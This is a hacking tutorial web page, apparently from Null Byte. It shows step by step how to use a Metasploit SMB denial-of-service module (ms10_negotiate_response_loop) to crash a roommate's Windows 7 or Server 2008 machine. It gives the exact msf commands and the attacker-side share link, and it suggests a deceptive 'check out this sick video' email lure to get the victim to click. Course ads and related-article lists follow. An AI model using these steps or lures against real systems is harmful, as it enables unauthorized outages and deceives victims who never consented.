Hack Like a Pro: How to Crash Your Roommate's Windows 7 PC with a Link « Null Byte :: WonderHowTo

In myfirst few articles, we focused on operating system hacks. These hacks have been primarily on older operating systems such as Windows XP, Windows Vista, and Windows Server 2003.Although these operating systems were first released, in some cases, almost 10 years ago, they are still in wide use. I have done consulting to many large corporations and institutions and am always surprised to see Windows XP systems still being used. On the other, I'm never surprised to see Windows Server 2003, as server operating systems get upgraded much less often.Operating system hacks can be fun, especially when they come at the expense of that software behemoth Microsoft, but they are becoming increasingly rare as Microsoft pays more attention to security. That is one of the reasons that more and more attacks are centered upon the client-side application software instead of the OS.Crashing Your Roommate's Windows 7 ComputerBefore we move on to client-side application hacks, I want to do at least one more operating system hack. Vulnerabilities still exist in the new operating systems, but they are becoming rarer and rarer. With so many vulnerabilities in client-side applications, why would you want to spend a lot of time on the OS?In this hack, we will take advantage of a flaw in Windows 7 and Windows Server 2008 operating systems that will create an infinite loop and crash the system. Although this isn't nearly as much fun as owning the system, it can be very destructive to an institution that relies upon this system to run their organization.Enough talk, let's get started. Fire up your Metasploit on Back Track 5 and let's hack! If you're new to Metasploit, check outmy article on getting started with it, as well assome of the past hacks.Step 1: A Little Background MaterialRemember thatMetasploithas six types of modules, exploits, payloads, auxiliary, encoders, NOPs and post. In this hack, we will use an auxiliary module to attack the Windows 7 or Windows Server 2008 system's SMB.msf> use auxiliary/dos/windows/smb/ms10_negotiate_response_loopStep 2: Show OptionsNow that we have selected our module, let's look at our options:msf> auxiliary(ms10_negotiate_response_loop) show optionsAs we can see in the screenshot below, the only option we need to set is SVRHOST, which is our—the attacker's—system. In my case, it is 192.168.1.100. Yours may be different; check your IP address by typing ifconfig in a terminal.Step 3: Set SVRHOSTNext, set your SVRHOST by typing:msf > auxiliary(ms10_negotiate_response_loop) set SVRHOST 192.168.1.100Step 4: RunIn the last step, we run the auxiliary module and once the module executes, it generates a shared folder link which you can send to the target machine. In this case, the link is \\192.168.1.100\Shared\Anything.msf > auxiliary(ms10_negotiate_response_loop) runStep 5: Making an Attractive LinkMetasploit then starts the malicious SMB service and when the target clicks on the link, the target system will begin to run an infinite loop, freeze, and crash.To make the link look safe and more inviting, we might try crafting a webpage and attaching this link to it. Sending this link with an email that says something like "Hey, check out this sick video!" When the victim clicks on the link to view the "video", their system crashes.In my next few hacks, we will start looking at attacking the many vulnerable client-side applications. Happy hacking!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image fromTechnosamratRelatedNews:Top 10 Pranks for the College Freshman DormHack Like a Pro:Exploit MS Word to Embed a Listener on Your Roommate's ComputerHack Like a Pro:How to Remotely Record & Listen to the Microphone on Anyone's ComputerHow To:Cast Your Samsung Galaxy's Screen to Your Windows PCHow To:Use Your Android Device as a Second Monitor for Your Windows PCHow To:Mirror & Control Your Android's Screen on Your Windows PCHow To:Hack Windows 7 (Become Admin)How To:Create System Image Backup in Windows 7How To:Throw water balloons and snow balls fast in YoVilleHow To:Bring Back Microsoft's Classic, No-Bloat Games to Windows for FreeHow To:Play Your Steam Library Anywhere — Even on Mobile DataHow To:How Anyone (Even Pirates) Can Get Windows 10 for Free—LegallyNews:If You Can't Open Your iPhone's Photos on a PC, Try This AppHow to Hack Windows 7:Sending Vulnerable Shortcut FilesHow To:See Your Android Notifications on Your Windows PCHow To:The Fastest Way to Transfer Photos & Videos from Your iPhone to Your Windows 10 PCHow To:Bored with Your Surface Pro? BlueStacks Lets You Run Any Android App on Windows 8How To:Optimize a Microsoft Windows 7 PC for Pro Tools 8How To:Stream PC Games to Your Phone Using AMD LinkHow To:Hack Lets You Fully Activate a Bootleg Copy of Windows 8 Pro for FreeHow To:Get Nokia's Exclusive Camera App with Pro Mode on Any AndroidHow To:Fully Control Your Android Device from Any ComputerHack Like a Pro:How to Exploit IE8 to Get Root Access When People Visit Your WebsiteHow To:Use the PC Backup & Restore features in Windows VistaHow To:Choose between a desktop computer and laptop when buying a Windows PCNews:Free Alternatives to Pushbullet Pro FeaturesHow To:Get a Free PC Version of Metro 2033 for Liking the New Metro: Last Night Game on FacebookWTFoto News Scoop Sundays:Wrath of the Religious RoommateNews:The Roommate (2011)News:A WORD TO THE WISE ABOUT REMOVING INTERNET EXPLORERNews:"Desktop, PC, Online Experience, ALL Enhanced Ten-Fold..."How To:Create Windows 7 GodModeNews:Sleeping Roommate Face SmashNews:Stop Windows Update from Shutting Down Your Computer